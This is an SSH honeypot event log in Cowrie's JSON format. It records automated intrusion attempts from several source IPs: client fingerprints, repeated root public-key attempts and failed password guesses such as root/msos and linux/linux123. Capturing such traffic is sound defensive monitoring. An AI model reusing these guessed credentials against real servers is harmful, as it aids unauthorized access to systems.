{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:e6:16:7d:a5:9d:c5:c3:f7:57:54:4c:39:38:9b:58","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALTu0L06k1gCDyvF/p4KBrLROG4ThfBAD/QpmH9o5cKTWBe5zaiQqeaMnIcdEmTfvc2aRIzTHy/A5/xdQp5uB3tZmdzAhsn0hVu/8V0YHBJDQ/ASHf8JbUKNjN1/VQam4FRUILFT/ouzkEIECy6VEw6PQCr4OHsDhwwiHpmelrKPAAAAFQDvE3W5JkH+mOdSafl54BeSS6biVwAAAIBiV0Ti3c44gxKq7Rk+t3zZ5xhmZ23/uoM3jPMz4QT/wf3bh2VzmNpRnO5VND4ZypUVm3m7P817W9VaG1y9EGgWyHakfnggCAPOW9J4xiaeWdQTUfEgMjs1FJcF36xYYDeC/CVohz4okY6eXhqFSNzalb6Z/uvX9x1ILD3LOFTVUwAAAIBZl0UTkFuY2wjlpLqTiCIz8G9F4/JqSZH69ZcOaMmMQ5FbIV+1cICPt1RQFNa6adcgZSrvDUCzeHswaGG+gSmewbJ6yaimZnS8YqftGgA7TALrvCD7CM6rSsVyHDFbsP8vC1rH9O+GsW+uSDrKx1gkrpWRYPvxnGUJdhkw2ftHyA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a0:e6:16:7d:a5:9d:c5:c3:f7:57:54:4c:39:38:9b:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:32.881172Z","src_ip":"148.135.49.242","session":"135b4145db61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:e6:16:7d:a5:9d:c5:c3:f7:57:54:4c:39:38:9b:58","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALTu0L06k1gCDyvF/p4KBrLROG4ThfBAD/QpmH9o5cKTWBe5zaiQqeaMnIcdEmTfvc2aRIzTHy/A5/xdQp5uB3tZmdzAhsn0hVu/8V0YHBJDQ/ASHf8JbUKNjN1/VQam4FRUILFT/ouzkEIECy6VEw6PQCr4OHsDhwwiHpmelrKPAAAAFQDvE3W5JkH+mOdSafl54BeSS6biVwAAAIBiV0Ti3c44gxKq7Rk+t3zZ5xhmZ23/uoM3jPMz4QT/wf3bh2VzmNpRnO5VND4ZypUVm3m7P817W9VaG1y9EGgWyHakfnggCAPOW9J4xiaeWdQTUfEgMjs1FJcF36xYYDeC/CVohz4okY6eXhqFSNzalb6Z/uvX9x1ILD3LOFTVUwAAAIBZl0UTkFuY2wjlpLqTiCIz8G9F4/JqSZH69ZcOaMmMQ5FbIV+1cICPt1RQFNa6adcgZSrvDUCzeHswaGG+gSmewbJ6yaimZnS8YqftGgA7TALrvCD7CM6rSsVyHDFbsP8vC1rH9O+GsW+uSDrKx1gkrpWRYPvxnGUJdhkw2ftHyA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:32.885092Z","src_ip":"148.135.49.242","session":"135b4145db61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:d7:fe:1a:4d:8f:90:db:de:02:70:b9:74:38:e9:52","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL955lRG/37RhQKVlzgfomAdmDtEsPBdz3LjplY9/fG+","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0c:d7:fe:1a:4d:8f:90:db:de:02:70:b9:74:38:e9:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:32.958952Z","src_ip":"148.135.49.242","session":"135b4145db61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:d7:fe:1a:4d:8f:90:db:de:02:70:b9:74:38:e9:52","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL955lRG/37RhQKVlzgfomAdmDtEsPBdz3LjplY9/fG+","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:32.962484Z","src_ip":"148.135.49.242","session":"135b4145db61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:94:2c:6c:c8:e1:a3:d3:19:90:bd:93:bf:98:74:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6lB6b5fEX0NkeodF9KDRwKKGnUNnRLCysMjyMrVLncJ0e4CnU2FVYQ5uwfcLJAUd3lZK8nNEjIkr8y9Joz7FQS/uVsO52gl8CehwnnP4XqXq5SqKji8QSz3A60b+lrTpwtU2zLoRsmMrvDronC2jkubJPrFSK2iTU6/yCtssvxSkU3ZiAIlufc8dDcYAeMBme3YGX0L/Vh5oGGh+hlmezsUBpMkNwtbeJAsudvO/m+/EUnsIADxeB4ofSttSBscO/xnnA//jra5S7l4FwBE0XAo/vkUgObvuJK2igaNZaPI55u1SobLAozAr2DHVf+vJSQ4vQRoZPXM08I+jNnzfE5xJ2ig0AUv4s8ssoKKQM9sIWvWR86+by94k+MGvQ7FxbpaTcZRs2XKmYyQCozsEA9PFWPHs0FZlLkbcTYcPHfqcw7jSqeE+c1cJdR4knwZ3MoQyKOGYL8zUZsTNg0uI5hfpP7g1m6IWWfrJ/A8guCJ2vRr6H11raf5pcA1hUMrhtjaW2Cg5G8Hp1k+/6SKCovvEn+O1uSZeZDJAB7jey9zdZZyLC+oCxkKcpcG5k8wQDesnIsOys9gWGwKqhBByp7kDV/fCc/Nf2hkSgKHxmSCXvGmJFXBVaitTjwBwI8ZvzbnuRtamXSff0vVmaqFqmENQZ7K2pWKnNgjCJXAE65w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:94:2c:6c:c8:e1:a3:d3:19:90:bd:93:bf:98:74:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:33.031293Z","src_ip":"148.135.49.242","session":"135b4145db61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:94:2c:6c:c8:e1:a3:d3:19:90:bd:93:bf:98:74:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6lB6b5fEX0NkeodF9KDRwKKGnUNnRLCysMjyMrVLncJ0e4CnU2FVYQ5uwfcLJAUd3lZK8nNEjIkr8y9Joz7FQS/uVsO52gl8CehwnnP4XqXq5SqKji8QSz3A60b+lrTpwtU2zLoRsmMrvDronC2jkubJPrFSK2iTU6/yCtssvxSkU3ZiAIlufc8dDcYAeMBme3YGX0L/Vh5oGGh+hlmezsUBpMkNwtbeJAsudvO/m+/EUnsIADxeB4ofSttSBscO/xnnA//jra5S7l4FwBE0XAo/vkUgObvuJK2igaNZaPI55u1SobLAozAr2DHVf+vJSQ4vQRoZPXM08I+jNnzfE5xJ2ig0AUv4s8ssoKKQM9sIWvWR86+by94k+MGvQ7FxbpaTcZRs2XKmYyQCozsEA9PFWPHs0FZlLkbcTYcPHfqcw7jSqeE+c1cJdR4knwZ3MoQyKOGYL8zUZsTNg0uI5hfpP7g1m6IWWfrJ/A8guCJ2vRr6H11raf5pcA1hUMrhtjaW2Cg5G8Hp1k+/6SKCovvEn+O1uSZeZDJAB7jey9zdZZyLC+oCxkKcpcG5k8wQDesnIsOys9gWGwKqhBByp7kDV/fCc/Nf2hkSgKHxmSCXvGmJFXBVaitTjwBwI8ZvzbnuRtamXSff0vVmaqFqmENQZ7K2pWKnNgjCJXAE65w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:33.035014Z","src_ip":"148.135.49.242","session":"135b4145db61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:76:17:fe:7c:9f:72:96:e5:4b:e7:65:79:1b:14:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDp6GQQbYYgGG8/WTXAQt+YRjmuLDToqcflae7IAaa6LclsptoTBIPgpPx3gz/P1WOIN/jVCp9arD84wgankGF6kW4SD9ZTWeMMuLLZxGgAlUUlGtERi//ENJpXaU3irddjLATRfua27HI7Bg480LqfLI2DKBZRN7AYqpgy/suMqdG7U2lgSseju/IFFpCMknVZ1gBF/kJ8GReKvdxOF27KfeoqhWzfDAFUoXsEV208PSfQuuZt8v1ZY5MqaQy1Nb8VZsCCtcFdH2I3tKZEVI96IxVos+hE4RJZ01QdKTEEvSk8Ug7iWHJV6xFqvYwCtPVXBDh90BYPryjfnpuUOhn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:76:17:fe:7c:9f:72:96:e5:4b:e7:65:79:1b:14:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:33.105087Z","src_ip":"148.135.49.242","session":"135b4145db61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:76:17:fe:7c:9f:72:96:e5:4b:e7:65:79:1b:14:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDp6GQQbYYgGG8/WTXAQt+YRjmuLDToqcflae7IAaa6LclsptoTBIPgpPx3gz/P1WOIN/jVCp9arD84wgankGF6kW4SD9ZTWeMMuLLZxGgAlUUlGtERi//ENJpXaU3irddjLATRfua27HI7Bg480LqfLI2DKBZRN7AYqpgy/suMqdG7U2lgSseju/IFFpCMknVZ1gBF/kJ8GReKvdxOF27KfeoqhWzfDAFUoXsEV208PSfQuuZt8v1ZY5MqaQy1Nb8VZsCCtcFdH2I3tKZEVI96IxVos+hE4RJZ01QdKTEEvSk8Ug7iWHJV6xFqvYwCtPVXBDh90BYPryjfnpuUOhn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:33.108627Z","src_ip":"148.135.49.242","session":"135b4145db61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:18:d6:fe:63:8f:21:c6:0f:6c:57:cd:44:59:37:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJikuH3KFH/iKrCsKy73QdL+fj2a17arBMlXEJhhjGydxltiVFec4c5hoK79aUJzPMb8VL4lEKkscAR6kOBuoPq0midRqXgrEsq8BcOeEaKPmGtJFqZDiGqiPyaAKjl3+Itu//Z8KD8d/OOhSeMv/0RabeYtytfL0Ok2XiNCeyFkvgZIglXWNv7dOqAtXBwQe6nUGGAPmHx7xDLMFnc3Oei0TacHzuYsHYndvxrmpkpvV+r0fUF6KbkkZpwcHq6LuULQxjpH7AzUNvXM5tiKOVTjKg+S77XjB8VXtAMGCzhJ+Js6c0HwSYuKfzvijNfFfIZXk7XOXIDEOfGVwxY3eF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:18:d6:fe:63:8f:21:c6:0f:6c:57:cd:44:59:37:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:33.177962Z","src_ip":"148.135.49.242","session":"135b4145db61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:18:d6:fe:63:8f:21:c6:0f:6c:57:cd:44:59:37:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJikuH3KFH/iKrCsKy73QdL+fj2a17arBMlXEJhhjGydxltiVFec4c5hoK79aUJzPMb8VL4lEKkscAR6kOBuoPq0midRqXgrEsq8BcOeEaKPmGtJFqZDiGqiPyaAKjl3+Itu//Z8KD8d/OOhSeMv/0RabeYtytfL0Ok2XiNCeyFkvgZIglXWNv7dOqAtXBwQe6nUGGAPmHx7xDLMFnc3Oei0TacHzuYsHYndvxrmpkpvV+r0fUF6KbkkZpwcHq6LuULQxjpH7AzUNvXM5tiKOVTjKg+S77XjB8VXtAMGCzhJ+Js6c0HwSYuKfzvijNfFfIZXk7XOXIDEOfGVwxY3eF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:33.182405Z","src_ip":"148.135.49.242","session":"135b4145db61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:33.255220Z","src_ip":"148.135.49.242","session":"135b4145db61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":43340,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bf3dbe242ad","protocol":"ssh","message":"New connection: 43.162.109.147:43340 (10.17.0.5:22) [session: 1bf3dbe242ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:03.985490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:03.990607Z","src_ip":"43.162.109.147","session":"1bf3dbe242ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:04.059466Z","src_ip":"43.162.109.147","session":"1bf3dbe242ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:04.364560Z","src_ip":"43.162.109.147","session":"1bf3dbe242ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:05.436775Z","src_ip":"43.162.109.147","session":"1bf3dbe242ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":35364,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4536f2ef72e","protocol":"ssh","message":"New connection: 3.129.187.38:35364 (159.203.135.109:22) [session: e4536f2ef72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:23.069328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:23.074733Z","src_ip":"3.129.187.38","session":"e4536f2ef72e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:23.095396Z","src_ip":"3.129.187.38","session":"e4536f2ef72e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.106.83.59","src_port":47475,"dst_ip":"10.17.0.5","dst_port":22,"session":"e53697fa99db","protocol":"ssh","message":"New connection: 180.106.83.59:47475 (10.17.0.5:22) [session: e53697fa99db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:31.846957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:31.851523Z","src_ip":"180.106.83.59","session":"e53697fa99db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:32.093874Z","src_ip":"180.106.83.59","session":"e53697fa99db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:33.069411Z","src_ip":"3.129.187.38","session":"e4536f2ef72e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"msos","message":"login attempt [root/msos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:33.077910Z","src_ip":"180.106.83.59","session":"e53697fa99db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:34.318259Z","src_ip":"180.106.83.59","session":"e53697fa99db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":39634,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ac800a8ee8d","protocol":"ssh","message":"New connection: 200.108.174.4:39634 (159.203.135.109:22) [session: 0ac800a8ee8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:37.478332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:37.482479Z","src_ip":"200.108.174.4","session":"0ac800a8ee8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:37.632471Z","src_ip":"200.108.174.4","session":"0ac800a8ee8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deepspeed","message":"login attempt [root/deepspeed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:38.263867Z","src_ip":"200.108.174.4","session":"0ac800a8ee8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:39.417692Z","src_ip":"200.108.174.4","session":"0ac800a8ee8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":60418,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d5e31aa8c00","protocol":"ssh","message":"New connection: 95.58.255.251:60418 (10.17.0.5:22) [session: 7d5e31aa8c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:40.914662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:40.919280Z","src_ip":"95.58.255.251","session":"7d5e31aa8c00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:41.086789Z","src_ip":"95.58.255.251","session":"7d5e31aa8c00","protocol":"ssh"}
